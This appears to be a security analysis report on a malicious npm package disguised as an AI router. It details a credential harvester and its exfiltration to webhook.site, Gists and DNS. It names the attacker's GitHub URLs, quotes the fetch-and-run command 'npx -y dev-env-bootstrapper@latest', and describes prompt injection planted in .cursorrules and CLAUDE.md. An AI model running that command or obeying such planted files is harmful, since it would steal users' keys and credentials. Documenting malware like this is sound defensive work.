Summary
postinstall runs lib/setup.js which spawns lib/worker.js as a detached background process. worker.js is a 19K-line credential harvester: it walks ~/.ethereum, ~/.bitcoin, ~/.ssh, ~/.aws, ~/.kube, browser profile dirs (Chrome Login Data, Cookies, Local State), scans for private keys / mnemonics / API keys / passwords, brute-forces ETH keystores with a 100+ common-password dictionary, and reports encrypted findings to webhook.site / GitHub Pages config endpoints / anonymous GitHub Gists. Persists via .cursorrules / CLAUDE.md AI prompt injection, git hooks, and .bashrc/.zshrc shell RC persistence — all downloading a remote bundle from raw.githubusercontent.com. Zero-width steganography encodes AI-to-AI chain payloads.
Intent
Pretends to be an "intelligent AI model router" and "credential integrity verification" tool. Actually installs a background credential harvester that scans the home directory for SSH keys, crypto wallet keystores, browser Login Data/Cookies, cloud provider credentials, exchange configs, and environment variables, then exfiltrates findings via encrypted webhook POSTs, DNS tunneling, and anonymous GitHub Gists. Persists by writing .cursorrules / CLAUDE.md (AI prompt injection), git post-merge/post-checkout hooks, and shell RC files that download and execute a remote payload on every terminal open or git operation.
credential_access credential_harvest network_egress persistence agent_config_tamper reconnaissance obfuscation crypto_theft download_execute
Credential harvester — exfil file list critical lib/worker.js:172-237
EXFIL_DIRS array targets .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .mysql_history, .pgpass, ~/.aws/credentials, ~/.aws/config, .docker/config.json, ~/.kube/config, Chrome/Chromium/Brave/E Edge Login Data (SQLite), Cookies, Local State files across Linux/macOS/WSL.
Crypto wallet scanner and keystore brute-forcer critical lib/worker.js:114-116, 64-105, 298+
SCAN_DIRS includes ~/.ethereum, ~/.bitcoin, ~/.solana. KEY_PATTERNS match private keys (64-hex), mnemonics, API keys, secrets, ETH addresses, passwords. COMMON_PASSWORDS list 100+ words including crypto-specific terms. _tryDecryptKeystore() attempts scrypt brute-force on UTC-- keystore files.
Multi-channel encrypted exfiltration critical lib/worker.js:719-826
_sendToRelay() POSTs Fernet-encrypted reports to webhook URLs (webhook.site, GitHub Pages config). _reportDNS() encodes payload as base32 subdomain for DNS exfil. _reportGist() creates anonymous private GitHub Gists with encrypted report content.
AI prompt injection via .cursorrules / CLAUDE.md high lib/worker.js:1708-1713
_propagate() writes .cursorrules and CLAUDE.md to project directories containing instructions to AI coding assistants to run 'npx -y dev-env-bootstrapper@latest' and embed zero-width chain payloads.
Git hook persistence high lib/worker.js:1748-1769
Appends hooks to .git/hooks/post-merge and post-checkout that download and execute https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js.
Shell RC persistence high lib/worker.js:1771-1781
Appends __p2024_vfy() to .bashrc, .zshrc, .profile that runs 'npx -y dev-env-bootstrapper@latest' every hour on terminal open.
Zero-width steganography for AI-to-AI propagation high lib/worker.js:1822-1939
_encodeZeroWidth() / _embedZeroWidthInFile() / _decodeZeroWidthFromText() encode/decode binary payloads as ZWSP+ZWJ/ZWNJ+LTRM sequences embedded in source files.
Remote config fetching medium lib/worker.js:911-927, 979-1040
_resolveConfig() fetches https://ddjidd564.github.io/defi-security-best-practices/config.json (primary) and https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/main/config.json (mirror) to obtain webhook URLs. DNS TXT fallback on _integrity-config.config-verify.org.
Environment variable harvesting high lib/worker.js:1443-1475
Iterates process.env collecting keys containing 'key', 'secret', 'token', 'password', 'private', 'wallet', 'seed' — stores value previews in findings.
Postinstall spawns detached background worker high lib/setup.js:27-41
lib/setup.js line 31: cp.fork(workerPath, ['--verify', PKG_NAME], { detached: true, stdio: 'ignore', env: { ... RUN_VERIFICATION: PKG_NAME } }); child.unref().
Zero-width characters in README.md medium README.md:401
401 zero-width characters detected — possible hidden text or homoglyph trick for AI readers.